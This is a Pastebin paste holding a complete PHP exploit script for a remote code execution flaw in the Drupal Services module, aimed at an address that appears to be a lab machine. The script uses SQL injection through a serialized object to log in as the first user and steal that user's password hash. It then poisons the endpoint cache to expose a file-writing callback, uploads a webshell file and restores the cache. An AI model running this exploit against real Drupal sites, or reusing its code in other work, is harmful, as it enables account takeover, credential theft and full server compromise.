Advertisement
Guest User

Untitled

a guest
Jun 21st, 2017
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.86 KB | None | 0 0
  1. #!/usr/bin/php
  2.  
  3. <?php
  4.  
  5. # Drupal Services Module Remote Code Execution Exploit
  6.  
  7. # https://www.ambionics.io/blog/drupal-services-module-rce
  8.  
  9. # cf
  10.  
  11. #
  12.  
  13. # Three stages:
  14.  
  15. # 1. Use the SQL Injection to get the contents of the cache for current endpoint
  16.  
  17. #    along with admin credentials and hash
  18.  
  19. # 2. Alter the cache to allow us to write a file and do so
  20.  
  21. # 3. Restore the cache
  22.  
  23. #
  24.  
  25.  
  26.  
  27. # Initialization
  28.  
  29.  
  30.  
  31. error_reporting(E_ALL);
  32.  
  33.  
  34.  
  35. define('QID', 'anything');
  36.  
  37. define('TYPE_PHP', 'application/vnd.php.serialized');
  38.  
  39. define('TYPE_JSON', 'application/json');
  40.  
  41. define('CONTROLLER', 'user');
  42.  
  43. define('ACTION', 'login');
  44.  
  45.  
  46.  
  47. $myfile = fopen("payload1.txt", "r") or die("Unable to open file!");
  48.  
  49. $payload1 = fread($myfile,filesize("payload1.txt"));
  50.  
  51. $url = '10.10.10.9';
  52.  
  53. $endpoint_path = '/rest';
  54.  
  55. $endpoint = 'rest_endpoint';
  56.  
  57. $file = [
  58.  
  59.     'filename' => 'benji1.php',
  60.  
  61.     'data' => $payload1
  62.  
  63. ];
  64.  
  65.  
  66.  
  67. $browser = new Browser($url . $endpoint_path);
  68.  
  69.  
  70.  
  71.  
  72.  
  73. # Stage 1: SQL Injection
  74.  
  75.  
  76.  
  77. class DatabaseCondition
  78.  
  79. {
  80.  
  81.     protected $conditions = [
  82.  
  83.         "#conjunction" => "AND"
  84.  
  85.     ];
  86.  
  87.     protected $arguments = [];
  88.  
  89.     protected $changed = false;
  90.  
  91.     protected $queryPlaceholderIdentifier = null;
  92.  
  93.     public $stringVersion = null;
  94.  
  95.  
  96.  
  97.     public function __construct($stringVersion=null)
  98.  
  99.     {
  100.  
  101.         $this->stringVersion = $stringVersion;
  102.  
  103.  
  104.  
  105.         if(!isset($stringVersion))
  106.  
  107.         {
  108.  
  109.             $this->changed = true;
  110.  
  111.             $this->stringVersion = null;
  112.  
  113.         }
  114.  
  115.     }
  116.  
  117. }
  118.  
  119.  
  120.  
  121. class SelectQueryExtender {
  122.  
  123.     # Contains a DatabaseCondition object instead of a SelectQueryInterface
  124.  
  125.     # so that $query->compile() exists and (string) $query is controlled by us.
  126.  
  127.     protected $query = null;
  128.  
  129.  
  130.  
  131.     protected $uniqueIdentifier = QID;
  132.  
  133.     protected $connection;
  134.  
  135.     protected $placeholder = 0;
  136.  
  137.  
  138.  
  139.     public function __construct($sql)
  140.  
  141.     {
  142.  
  143.         $this->query = new DatabaseCondition($sql);
  144.  
  145.     }
  146.  
  147. }
  148.  
  149.  
  150.  
  151. $cache_id = "services:$endpoint:resources";
  152.  
  153. $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
  154.  
  155. $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
  156.  
  157.  
  158.  
  159. # Take first user but with a custom password
  160.  
  161. # Store the original password hash in signature_format, and endpoint cache
  162.  
  163. # in signature
  164.  
  165. $query =
  166.  
  167.     "0x3a) UNION SELECT ux.uid AS uid, " .
  168.  
  169.     "ux.name AS name, '$password_hash' AS pass, " .
  170.  
  171.     "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
  172.  
  173.     "ux.pass AS signature_format, ux.created AS created, " .
  174.  
  175.     "ux.access AS access, ux.login AS login, ux.status AS status, " .
  176.  
  177.     "ux.timezone AS timezone, ux.language AS language, ux.picture " .
  178.  
  179.     "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
  180.  
  181.     "WHERE ux.uid<>(0"
  182.  
  183. ;
  184.  
  185.  
  186.  
  187. $query = new SelectQueryExtender($query);
  188.  
  189. $data = ['username' => $query, 'password' => 'ouvreboite'];
  190.  
  191. $data = serialize($data);
  192.  
  193.  
  194.  
  195. $json = $browser->post(TYPE_PHP, $data);
  196.  
  197.  
  198.  
  199. # If this worked, the rest will as well
  200.  
  201. if(!isset($json->user))
  202.  
  203. {
  204.  
  205.     print_r($json);
  206.  
  207.     e("Failed to login with fake password");
  208.  
  209. }
  210.  
  211.  
  212.  
  213. # Store session and user data
  214.  
  215.  
  216.  
  217. $session = [
  218.  
  219.     'session_name' => $json->session_name,
  220.  
  221.     'session_id' => $json->sessid,
  222.  
  223.     'token' => $json->token
  224.  
  225. ];
  226.  
  227. store('session', $session);
  228.  
  229.  
  230.  
  231. $user = $json->user;
  232.  
  233.  
  234.  
  235. # Unserialize the cached value
  236.  
  237. # Note: Drupal websites admins, this is your opportunity to fight back :)
  238.  
  239. $cache = unserialize($user->signature);
  240.  
  241.  
  242.  
  243. # Reassign fields
  244.  
  245. $user->pass = $user->signature_format;
  246.  
  247. unset($user->signature);
  248.  
  249. unset($user->signature_format);
  250.  
  251.  
  252.  
  253. store('user', $user);
  254.  
  255.  
  256.  
  257. if($cache === false)
  258.  
  259. {
  260.  
  261.     e("Unable to obtains endpoint's cache value");
  262.  
  263. }
  264.  
  265.  
  266.  
  267. x("Cache contains " . sizeof($cache) . " entries");
  268.  
  269.  
  270.  
  271. # Stage 2: Change endpoint's behaviour to write a shell
  272.  
  273.  
  274.  
  275. class DrupalCacheArray
  276.  
  277. {
  278.  
  279.     # Cache ID
  280.  
  281.     protected $cid = "services:endpoint_name:resources";
  282.  
  283.     # Name of the table to fetch data from.
  284.  
  285.     # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
  286.  
  287.     protected $bin = 'cache';
  288.  
  289.     protected $keysToPersist = [];
  290.  
  291.     protected $storage = [];
  292.  
  293.  
  294.  
  295.     function __construct($storage, $endpoint, $controller, $action) {
  296.  
  297.         $settings = [
  298.  
  299.             'services' => ['resource_api_version' => '1.0']
  300.  
  301.         ];
  302.  
  303.         $this->cid = "services:$endpoint:resources";
  304.  
  305.  
  306.  
  307.         # If no endpoint is given, just reset the original values
  308.  
  309.         if(isset($controller))
  310.  
  311.         {
  312.  
  313.             $storage[$controller]['actions'][$action] = [
  314.  
  315.                 'help' => 'Writes data to a file',
  316.  
  317.                 # Callback function
  318.  
  319.                 'callback' => 'file_put_contents',
  320.  
  321.                 # This one does not accept "true" as Drupal does,
  322.  
  323.                 # so we just go for a tautology
  324.  
  325.                 'access callback' => 'is_string',
  326.  
  327.                 'access arguments' => ['a string'],
  328.  
  329.                 # Arguments given through POST
  330.  
  331.                 'args' => [
  332.  
  333.                     0 => [
  334.  
  335.                         'name' => 'filename',
  336.  
  337.                         'type' => 'string',
  338.  
  339.                         'description' => 'Path to the file',
  340.  
  341.                         'source' => ['data' => 'filename'],
  342.  
  343.                         'optional' => false,
  344.  
  345.                     ],
  346.  
  347.                     1 => [
  348.  
  349.                         'name' => 'data',
  350.  
  351.                         'type' => 'string',
  352.  
  353.                         'description' => 'The data to write',
  354.  
  355.                         'source' => ['data' => 'data'],
  356.  
  357.                         'optional' => false,
  358.  
  359.                     ],
  360.  
  361.                 ],
  362.  
  363.                 'file' => [
  364.  
  365.                     'type' => 'inc',
  366.  
  367.                     'module' => 'services',
  368.  
  369.                     'name' => 'resources/user_resource',
  370.  
  371.                 ],
  372.  
  373.                 'endpoint' => $settings
  374.  
  375.             ];
  376.  
  377.             $storage[$controller]['endpoint']['actions'] += [
  378.  
  379.                 $action => [
  380.  
  381.                     'enabled' => 1,
  382.  
  383.                     'settings' => $settings
  384.  
  385.                 ]
  386.  
  387.             ];
  388.  
  389.         }
  390.  
  391.  
  392.  
  393.         $this->storage = $storage;
  394.  
  395.         $this->keysToPersist = array_fill_keys(array_keys($storage), true);
  396.  
  397.     }
  398.  
  399. }
  400.  
  401.  
  402.  
  403. class ThemeRegistry Extends DrupalCacheArray {
  404.  
  405.     protected $persistable;
  406.  
  407.     protected $completeRegistry;
  408.  
  409. }
  410.  
  411.  
  412.  
  413. cache_poison($endpoint, $cache);
  414.  
  415.  
  416.  
  417. # Write the file
  418.  
  419. $json = (array) $browser->post(TYPE_JSON, json_encode($file));
  420.  
  421.  
  422.  
  423.  
  424.  
  425. # Stage 3: Restore endpoint's behaviour
  426.  
  427.  
  428.  
  429. cache_reset($endpoint, $cache);
  430.  
  431.  
  432.  
  433. if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
  434.  
  435. {
  436.  
  437.     e("Failed to write file.");
  438.  
  439. }
  440.  
  441.  
  442.  
  443. $file_url = $url . '/' . $file['filename'];
  444.  
  445. x("File written: $file_url");
  446.  
  447.  
  448.  
  449.  
  450.  
  451. # HTTP Browser
  452.  
  453.  
  454.  
  455. class Browser
  456.  
  457. {
  458.  
  459.     private $url;
  460.  
  461.     private $controller = CONTROLLER;
  462.  
  463.     private $action = ACTION;
  464.  
  465.  
  466.  
  467.     function __construct($url)
  468.  
  469.     {
  470.  
  471.         $this->url = $url;
  472.  
  473.     }
  474.  
  475.  
  476.  
  477.     function post($type, $data)
  478.  
  479.     {
  480.  
  481.         $headers = [
  482.  
  483.             "Accept: " . TYPE_JSON,
  484.  
  485.             "Content-Type: $type",
  486.  
  487.             "Content-Length: " . strlen($data)
  488.  
  489.         ];
  490.  
  491.         $url = $this->url . '/' . $this->controller . '/' . $this->action;
  492.  
  493.  
  494.  
  495.         $s = curl_init();
  496.  
  497.         curl_setopt($s, CURLOPT_URL, $url);
  498.  
  499.         curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
  500.  
  501.         curl_setopt($s, CURLOPT_POST, 1);
  502.  
  503.         curl_setopt($s, CURLOPT_POSTFIELDS, $data);
  504.  
  505.         curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
  506.  
  507.         curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
  508.  
  509.         curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
  510.  
  511.         $output = curl_exec($s);
  512.  
  513.         $error = curl_error($s);
  514.  
  515.         curl_close($s);
  516.  
  517.  
  518.  
  519.         if($error)
  520.  
  521.         {
  522.  
  523.             e("cURL: $error");
  524.  
  525.         }
  526.  
  527.  
  528.  
  529.         return json_decode($output);
  530.  
  531.     }
  532.  
  533. }
  534.  
  535.  
  536.  
  537. # Cache
  538.  
  539.  
  540.  
  541. function cache_poison($endpoint, $cache)
  542.  
  543. {
  544.  
  545.     $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
  546.  
  547.     cache_edit($tr);
  548.  
  549. }
  550.  
  551.  
  552.  
  553. function cache_reset($endpoint, $cache)
  554.  
  555. {
  556.  
  557.     $tr = new ThemeRegistry($cache, $endpoint, null, null);
  558.  
  559.     cache_edit($tr);
  560.  
  561. }
  562.  
  563.  
  564.  
  565. function cache_edit($tr)
  566.  
  567. {
  568.  
  569.     global $browser;
  570.  
  571.     $data = serialize([$tr]);
  572.  
  573.     $json = $browser->post(TYPE_PHP, $data);
  574.  
  575. }
  576.  
  577.  
  578.  
  579. # Utils
  580.  
  581.  
  582.  
  583. function x($message)
  584.  
  585. {
  586.  
  587.     print("$message\n");
  588.  
  589. }
  590.  
  591.  
  592.  
  593. function e($message)
  594.  
  595. {
  596.  
  597.     x($message);
  598.  
  599.     exit(1);
  600.  
  601. }
  602.  
  603.  
  604.  
  605. function store($name, $data)
  606.  
  607. {
  608.  
  609.     $filename = "$name.json";
  610.  
  611.     file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
  612.  
  613.     x("Stored $name information in $filename");
  614.  
  615. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement